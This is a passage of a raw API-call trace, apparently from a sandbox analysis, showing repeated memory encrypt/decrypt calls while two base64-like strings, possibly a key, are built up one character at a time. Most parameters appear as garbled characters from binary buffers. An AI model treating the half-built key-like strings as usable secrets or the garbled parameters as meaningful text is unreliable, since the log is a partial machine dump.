(param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施夐᳘䢳ꌈ铥孖麋⊕) returned 0x28 [0233.454] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施夐᳘䢳ꌈ铥孖麋⊕) returned 0x28 [0233.454] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.454] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurb굙셣︮Უ\⋞) returned 0x28 [0233.454] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施ꀐ峄慣쳶ʎ딌েᔇ⋟) returned 0x28 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施ꀐ峄慣쳶ʎ딌েᔇ⋟) returned 0x28 [0233.455] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.455] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurba셣︮Უ\⋞) returned 0x28 [0233.455] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施쀐몢⽢ꎌ㤅䬧뮴⋰) returned 0x28 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施쀐몢⽢ꎌ㤅䬧뮴⋰) returned 0x28 [0233.455] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.455] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaP︮Უ\⋞) returned 0x28 [0233.455] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施윐沓䝠Х鰾 ꣺⋰) returned 0x28 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施윐沓䝠Х鰾 ꣺⋰) returned 0x28 [0233.455] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.455] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJ︮Უ\⋞) returned 0x28 [0233.455] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施ؐ暯Ꝗ됃矓㋼퍳⋮) returned 0x28 [0233.455] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施ؐ暯Ꝗ됃矓㋼퍳⋮) returned 0x28 [0233.456] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.456] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJuᲣ\⋞) returned 0x28 [0233.456] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.456] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施\鷚츏隫禠\귚≪) returned 0x28 [0233.456] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施\鷚츏隫禠\귚≪) returned 0x28 [0233.456] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.456] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJuu\⋞) returned 0x28 [0233.456] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.456] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施묐䬁ﾵ᱊穰휋춨芦∜) returned 0x28 [0233.456] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施묐䬁ﾵ᱊穰휋춨芦∜) returned 0x28 [0233.456] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.456] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJuu0") returned 0x28 [0233.456] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.456] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘") returned 0x28 [0233.457] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘") returned 0x28 [0233.457] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘") returned 0x28 [0233.457] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘") returned 0x30 [0233.457] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.457] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJuu0Mᒊ⨘ࣼḷࠄ鵬ꚣ") returned 0x30 [0233.457] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.457] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘彃羚둯묆Շ\⃞⋞) returned 0x30 [0233.457] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘彃羚둯묆Շ\⃞⋞) returned 0x30 [0233.457] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.457] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJuu0Mn⨘ࣼḷࠄ鵬ꚣ") returned 0x30 [0233.457] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.457] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘⎐\话汲ꖁ䇴㉛㮛∞) returned 0x30 [0233.457] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘⎐\话汲ꖁ䇴㉛㮛∞) returned 0x30 [0233.457] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.458] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJuu0Mnsࣼḷࠄ鵬ꚣ") returned 0x30 [0233.458] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.458] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘棸虧碑⊥蝍謹횑巇") returned 0x30 [0233.458] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施렐Ἆ焬㉝\闘빻殘棸虧碑⊥蝍謹횑巇") returned 0x30 [0233.458] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.458] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsurbaPJuu0Mns=ḷࠄ鵬ꚣ") returned 0x30 [0233.458] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0233.458] EtwEventActivityIdControl () returned 0x0 [0233.458] EtwEventActivityIdControl () returned 0x0 [0233.458] EtwEventActivityIdControl () returned 0x0 [0233.459] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.459] EtwEventActivityIdControl () returned 0x0 [0233.459] EtwEventActivityIdControl () returned 0x0 [0233.459] EtwEventActivityIdControl () returned 0x0 [0233.459] SysStringLen (param_1="") returned 0x8 [0233.460] SysStringLen (param_1="N") returned 0x8 [0233.460] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.460] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0233.460] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0233.460] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.460] SysStringLen (param_1="ND") returned 0x8 [0233.460] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.460] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0233.460] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0233.460] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.460] SysStringLen (param_1="NDZ") returned 0x8 [0233.460] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.460] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0233.460] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0233.460] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.461] SysStringLen (param_1="NDZl") returned 0x8 [0233.461] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.461] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0233.461] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0233.461] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.461] SysStringLen (param_1="NDZlO") returned 0x8 [0233.461] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.461] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0233.461] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0233.461] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.461] SysStringLen (param_1="NDZlOD") returned 0x8 [0233.461] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.461] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0233.461] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0233.461] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.462] SysStringLen (param_1="NDZlODR") returned 0x8 [0233.462] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.462] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0233.462] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0233.462] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.462] SysStringLen (param_1="NDZlODRm") returned 0x8 [0233.462] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0233.463] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.463] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0233.463] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0233.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0233.463] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.463] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0233.463] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0233.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0233.463] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.463] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0233.463] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0233.464] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.464] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0233.464] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0233.464] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.464] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0233.464] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0233.464] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.464] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0233.464] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0233.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0233.465] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.465] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0233.465] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0233.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0233.465] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.465] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0233.465] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0233.466] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.466] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0233.466] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0233.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0233.466] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.466] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0233.466] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0233.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0233.466] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.466] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0233.466] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0233.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0233.467] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.467] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0233.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0233.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0233.467] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.467] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0233.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0233.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0233.467] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.467] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0233.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0233.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0233.468] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.468] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0233.468] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0233.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0233.468] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.468] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0233.468] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0233.516] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.516] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0233.516] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0233.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0233.516] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.516] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0233.516] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0233.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0233.517] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.517] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0233.517] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0233.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0233.517] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.517] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0233.517] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: 